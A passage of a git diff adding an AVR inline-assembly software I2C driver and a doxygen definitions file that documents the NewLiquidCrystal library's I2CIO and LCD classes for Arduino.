%[SCLIN],%[SCLPIN] ;check for SCL high \n\t" + " ret ;if low return with false \n\t" + " ldi r24,1 ;set return value to true \n\t" + " ret " + : : + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), + [SCLIN] "I" (SCL_IN), [SCLOUT] "I" (SCL_OUT), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SDAIN] "I" (SDA_IN), [SDAOUT] "I" (SDA_OUT)); + return true; +} + +bool i2c_start(uint8_t addr) +{ + __asm__ __volatile__ + ( +#if I2C_NOINTERRUPT + " cli ;clear IRQ bit \n\t" +#endif + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;wait T/2 \n\t" + " rcall ass_i2c_write ;now write address \n\t" + " ret" + : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN)); + return true; // we never return here! +} + +bool i2c_rep_start(uint8_t addr) +{ + __asm__ __volatile__ + + ( +#if I2C_NOINTERRUPT + " cli \n\t" +#endif + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " rcall ass_i2c_write \n\t" + " ret" + : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN),[SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN)); + return true; // just to fool the compiler +} + +void i2c_start_wait(uint8_t addr) +{ + __asm__ __volatile__ + ( + " push r24 ;save original parameter \n\t" + "_Li2c_start_wait1: \n\t" + " pop r24 ;restore original parameter\n\t" + " push r24 ;and save again \n\t" +#if I2C_NOINTERRUPT + " cli ;disable interrupts \n\t" +#endif + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " rcall ass_i2c_write ;write address \n\t" + " tst r24 ;if device not busy -> done \n\t" + " brne _Li2c_start_wait_done \n\t" + " rcall ass_i2c_stop ;terminate write & enable IRQ \n\t" + " rjmp _Li2c_start_wait1 ;device busy, poll ack again \n\t" + "_Li2c_start_wait_done: \n\t" + " pop __tmp_reg__ ;pop off orig argument \n\t" + " ret " + : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN)); +} + +void i2c_stop(void) +{ + __asm__ __volatile__ + ( + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;T/2 delay \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " rcall ass_i2c_delay_half ;T/2 delay \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rcall ass_i2c_delay_half \n\t" +#if I2C_NOINTERRUPT + " sei ;enable interrupts again!\n\t" +#endif + : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN)); +} + +bool i2c_write(uint8_t value) +{ + __asm__ __volatile__ + ( + " sec ;set carry flag \n\t" + " rol r24 ;shift in carry and shift out MSB \n\t" + " rjmp _Li2c_write_first \n\t" + "_Li2c_write_bit:\n\t" + " lsl r24 ;left shift into carry ;; 1C\n\t" + "_Li2c_write_first:\n\t" + " breq _Li2c_get_ack ;jump if TXreg is empty;; +1 = 2C \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 4C \n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" + " brcc _Li2c_write_low ;;+1/+2=5/6C\n\t" + " nop ;; +1 = 7C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA ;; +2 = 9C \n\t" + " rjmp _Li2c_write_high ;; +2 = 11C \n\t" + "_Li2c_write_low: \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; +2 = 9C \n\t" + " rjmp _Li2c_write_high ;;+2 = 11C \n\t" + "_Li2c_write_high: \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;;+X = 11C+X\n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;;+2 = 13C+X\n\t" + " cln ;clear N-bit ;;+1 = 14C+X\n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for SCL high ;;+2 = 16C+X\n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brpl _Ldelay_scl_high ;;+2 = 18C+X\n\t" + "_Li2c_write_return_false: \n\t" + " clr r24 ; return false because of timeout \n\t" + " rjmp _Li2c_write_return \n\t" + "_Ldelay_scl_high: \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;;+X= 18C+2X\n\t" +#endif + " rjmp _Li2c_write_bit \n\t" + " ;; +2 = 20C +2X for one bit-loop \n\t" + "_Li2c_get_ack: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 5C \n\t" + " nop \n\t" + " nop \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA ;;+2 = 7C \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; +X = 7C+X \n\t" +#endif + " clr r25 ;; 17C+2X \n\t" + " clr r24 ;return 0 ;; 14C + X \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; +2 = 9C+X\n\t" + "_Li2c_ack_wait: \n\t" + " cln ; clear N-bit ;; 10C + X\n\t" + " nop \n\t" + " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X \n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brmi _Li2c_write_return_false ;; 13C + X \n\t " + " sbis %[SDAIN],%[SDAPIN] ;if SDA hi -> return 0 ;; 15C + X \n\t" + " ldi r24,1 ;return true ;; 16C + X \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 16C + 2X \n\t" +#endif + "_Li2c_write_return: \n\t" + " nop \n\t " + " nop \n\t " + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t" + " ret \n\t" + " ;; + 4 = 17C + 2X for acknowldge bit" + :: + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN)); + return true; // fooling the compiler +} + +uint8_t i2c_read(bool last) +{ + __asm__ __volatile__ + ( + " ldi r23,0x01 \n\t" + "_Li2c_read_bit: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA(prev. ACK);; 4C \n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 4C+X \n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 6C + X \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 6C + 2X \n\t" +#endif + " cln ; clear N-bit ;; 7C + 2X \n\t" + " nop \n\t " + " nop \n\t " + " nop \n\t " + " sbis %[SCLIN], %[SCLPIN] ;check for SCL high ;; 9C +2X \n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brmi _Li2c_read_return ;return if timeout ;; 10C + 2X\n\t" + " clc ;clear carry flag ;; 11C + 2X\n\t" + " sbic %[SDAIN],%[SDAPIN] ;if SDA is high ;; 11C + 2X\n\t" + " sec ;set carry flag ;; 12C + 2X\n\t" + " rol r23 ;store bit ;; 13C + 2X\n\t" + " brcc _Li2c_read_bit ;while receiv reg not full \n\t" + " ;; 15C + 2X for one bit loop \n\t" + + "_Li2c_put_ack: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t" + " cpi r24,0 ;; 3C \n\t" + " breq _Li2c_put_ack_low ;if (ack=0) ;; 5C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rjmp _Li2c_put_ack_high \n\t" + "_Li2c_put_ack_low: ;else \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; 7C \n\t" + "_Li2c_put_ack_high: \n\t" + " nop \n\t " + " nop \n\t " + " nop \n\t " +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 7C + X \n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 9C +X \n\t" + " cln ;clear N ;; +1 = 10C\n\t" + " nop \n\t " + " nop \n\t " + " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X\n\t" + " rcall ass_i2c_wait_scl_high \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 11C + 2X\n\t" +#endif + "_Li2c_read_return: \n\t" + " nop \n\t " + " nop \n\t " + "sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t" + " mov r24,r23 ;; 12C + 2X \n\t" + " clr r25 ;; 13 C + 2X\n\t" + " ret ;; 17C + X" + :: + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN) + ); + return ' '; // fool the compiler! +} + +#endif + + + diff --git a/libraries/NewliquidCrystal/def/doxygen.def b/libraries/NewliquidCrystal/def/doxygen.def new file mode 100644 index 0000000..e19fb0b --- /dev/null +++ b/libraries/NewliquidCrystal/def/doxygen.def @@ -0,0 +1,8422 @@ +AutoGen Definitions dummy; +class = { + cp-id = 'class_i2_c_i_o'; + cp-name = 'I2CIO'; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a6f814653d903dc2ff6e8420eeb7954ae'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'i2cAddr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '62'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ac26221011a8b49bcea9ef62712ea88a7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalRead'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '108'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a473206162522b847546777d16a7c6dcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalWrite'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'level'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '136'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a32eb7832075ad6011d67874405a0d0a6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'I2CIO'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '49'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Constructor method + @discussion Class constructor constructor. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a53b94274eb6bb68564cf5243323db887'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pinMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '73'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a0341888753bc54c4384f5593a870fb34'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'portMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a7a3db7bfc15ede0ae9e8c8bd44290ef7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'read'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '94'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ae2063569c927d0008e2593d14504fdcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '123'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a283a99ef1c6f58fa8a0489089cba9682'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_dirMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '142'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1ade58da873af4240a53053ef5f12a2728'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cAddr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '143'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a8c566f3fd332eefe4db57cbe6b69337c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +bool +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_initialised'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '144'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1abcd6f7f5f176f965d8ae535afa9f6cec'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_shadow'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '141'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + cp-fileline = '42'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_l_c_d'; + cp-name = 'LCD'; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___i2_c'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___i2_c___by_vac'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r1_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r2_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r3_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abb3ed88d530f6283e6159b4973e7da9e'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'autoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '358'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aba8867fe2210cbfa8db869208709be10'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'backlight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '428'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3f587d1cbb2d59765ef60a5216b56fea'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is abstract, a base implementation is available common to all LCD + drivers. Should it not be compatible with some other LCD driver, a derived + implementation should be done on the driver specif class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] character size, default==LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a878b36878fa8287093964eba83aace77'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'blink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '264'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1afa699e0beeeee03cce8cef87eba81c4a'; + sec-mem-virt = normal; + 